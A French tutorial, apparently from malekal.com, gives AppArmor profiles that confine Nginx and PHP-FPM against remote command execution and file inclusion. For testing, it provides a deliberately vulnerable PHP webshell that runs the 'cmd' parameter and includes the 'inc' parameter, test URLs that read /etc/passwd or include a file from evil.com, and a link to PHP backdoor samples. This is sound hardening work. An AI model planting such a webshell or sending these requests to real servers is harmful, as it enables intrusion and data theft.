AppArmor (Application Armor) est une fonctionnalité de sécurité très efficace pour protéger un serveur WEB attaques du type Remote Command Execution (RCE) et Remote File Inclusion (RFI).
En effet, en limitant les accès à PHP, vous protégez les applications PHP de vulnérabilités connues ou inconnues.
Dans ce tutoriel, je vous donne un profile Nginx et un profile PHP-FPM pour AppArmor afin de sécuriser votre serveur WEB.
Vous pouvez l’utiliser comme base afin de mettre en place AppArmor et protéger votre serveur WEB des attaques.

Comment sécuriser Nginx avec AppArmor
Pour la syntaxe et les notions de base sur les profiles AppArmor, suivez ce tutoriel : Comment créer un profile AppArmor
Voici le profile AppArmor pour Nginx :
#include <tunables/global> /usr/sbin/nginx { #include <abstractions/base> #include <abstractions/nameservice> #include <abstractions/apache2-common> #include <abstractions/nis> #include <abstractions/openssl> #include <abstractions/ssl_keys> capability dac_override, capability dac_read_search, capability net_bind_service, capability setgid, capability setuid, network inet tcp, # pour écrire dans la console /dev/pts/[0-9] rw, # binary, pid /usr/bin/nginx mr, /run/nginx.pid rw, /usr/bin/php8.1 mrix, # configuration /etc/nginx r, /etc/nginx/** rl, /usr/share/nginx r, /usr/share/nginx/** r, /etc/ssl r, /etc/ssl/openssl.cnf r, # cache owner /var/cache/nginx rw, owner /var/cache/nginx/** rw, owner /var/lib/nginx rw, owner /var/lib/nginx/** rw, # webroot owner /var/www/html rw, owner /var/www/html/** rw, # logs owner /var/log/nginx/* rw, }
Pour mettre en place le profile AppArmor pour Nginx :
- Placez le dans /etc/apparmor.d/usr.sbin.nginx
- Puis passez le en mode complain :
aa-complain /usr/sbin/nginx
- Testez et vérifiez les logs /var/log/syslog
- Si tout est correct, vous pouvez passer le profile en mode enforce :
aa-enforce /usr/sbin/nginx
Comment sécuriser PHP-FPM avec AppArmor
Voici un script pour php-fpm :
#include <tunables/global> profile php-fpm /usr/sbin/php-fpm{7.4,8.0,8.1} flags=(attach_disconnected) { #include <abstractions/base> #include <abstractions/openssl> #include <abstractions/ssl_certs> capability setuid, capability setgid, capability chown, capability kill, capability dac_read_search, capability dac_override, network unix, audit deny network inet, # CONF /etc/php/** rl, /etc/hosts r, /etc/host.conf r, /etc/gai.conf r, /etc/resolv.conf r, /etc/nsswitch.conf r, /etc/ImageMagick-6/ r, /etc/ImageMagick-6/** r, # php libraries /usr/share/php*/ r, /usr/share/php*/** mr, /usr/share/ImageMagick-6 r, /usr/share/ImageMagick-6/** r, # Xlibs /usr/X11R6/lib{,32,64}/lib*.so* mr, # php extensions /usr/lib{64,}/php/*/*.so mr, # ICU (unicode support) data tables /usr/share/icu/*/*.dat r, /proc/@{pid}/attr/current rw, /sys/devices/system/node r, /sys/devices/system/node/** r, /tmp/ rw, /tmp/** rwk, # Sessions /var/lib/php/sessions rw, /var/lib/php/sessions/** rwk, # LOG /var/log/php7.4-fpm.log rw, /var/log/php8.0-fpm.log rw, /var/log/php8.1-fpm.log rw, # SOCKET /run/php/php7.4-fpm.sock rwlk, /run/php/php8.0-fpm.sock rwlk, /run/php/php8.1-fpm.sock rwlk, /run/php/php7.4-fpm.pid rwlk, /run/php/php8.0-fpm.pid rwlk, /run/php/php8.1-fpm.pid rwlk, # CACHE owner /var/cache/opcache rw, # WEBROOT owner /var/www/** rwk, }
Quelques remarques :
- php-fpm utilise des sockets unix, donc on les autorise et on interdit le reste avec network inet. Si vous n’utilisez pas les socket unix, le proxy-pass ne fonctionnera pas car php-fpm ne pourra pas ouvrir les ports en écoute
- Il peut être nécessaire d’ajouter des accès à /etc et /usr selon les modules PHP utilisés (ex avec ImageMagick)
- Il est possible de retirer les accès aux libs et utilisés #include <abstractions/php>
- Vérifiez bien le chemin de votre cache opcache, c’est celui par défaut : /var/cache/opcache
Pour mettre en place le profile AppArmor pour PHP-FPM :
- Placez le dans /etc/apparmor.d/usr.sbin.php-fpm
- Puis passez le en mode complain (remplacez la version de PHP) :
aa-complain /usr/sbin/php-fpm8.1
- Testez et vérifiez les logs /var/log/syslog
- Si tout est correct, vous pouvez passer le profile en mode enforce :
aa-enforce /usr/sbin/php-fpm8.1
Tester la protection AppArmor sur Nginx et PHP-FPM
Vous pouvez créer une page PHP avec le contenu suivant qui permet d’exécuter des commandes systèmes ou d’accéder à des fichiers depuis les paramètres cmd ou inc.
Nommez la par exemple back.php :
<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
if(isset($_GET['inc'])) {
include($_GET['inc']);
}
?>
Pensez à retirer le script une fois les tests terminés.
Testez les accès suivants qui doivent être bloquées par AppArmor :
https://domain.tld/back.php?cmd=ls https://domain.tld/back.php?cmd=id https://domain.tld/back.php?inc=/etc/passwd https://domain.tld/back.php?inc=http://evil.com/evil.txt
Les exécutions de commandes sont bloquées de cette manière :
Jul 16 09:17:59 www kernel: [24071250.328466] audit: type=1400 audit(1657963079.216:98381): apparmor="DENIED" operation="exec" profile="php-fpm" name="/usr/bin/dash" pid=3777 comm="php-fpm7.4" requested_mask="x" denied_mask="x" fsuid=33 ouid=0

Vous pouvez aussi tester des backdoor PHP disponibles depuis ce site : https://github.com/bartblaze/PHP-backdoors
On voit ici que l’exécution de commandes à distance (RCE) est bloquée.


Liens
- AppArmor pour sécuriser Linux
- AppArmor sur Debian/Ubuntu : Installation et configuration
- Comment créer un profile AppArmor
- Comment sécuriser Nginx+PHP-FPM avec AppArmor
- Nginx : un serveur WEB rapide
- Configurer le cache de Nginx
- Nginx : Comment activer un site avec sites-enabled ou nginx-modsite
- Protéger Nginx des attaques DoS et bruteforce
- Optimiser Nginx pour améliorer la vitesse des sites WEB
- Optimiser le cache de Nginx et fastcgi
- Nginx : faire une redirection (301, 302, HTTP vers HTTPS, URL, …)
- Nginx : comment réécrire des URL avec rewrite
L’article Comment sécuriser Nginx+PHP-FPM avec AppArmor est apparu en premier sur malekal.com.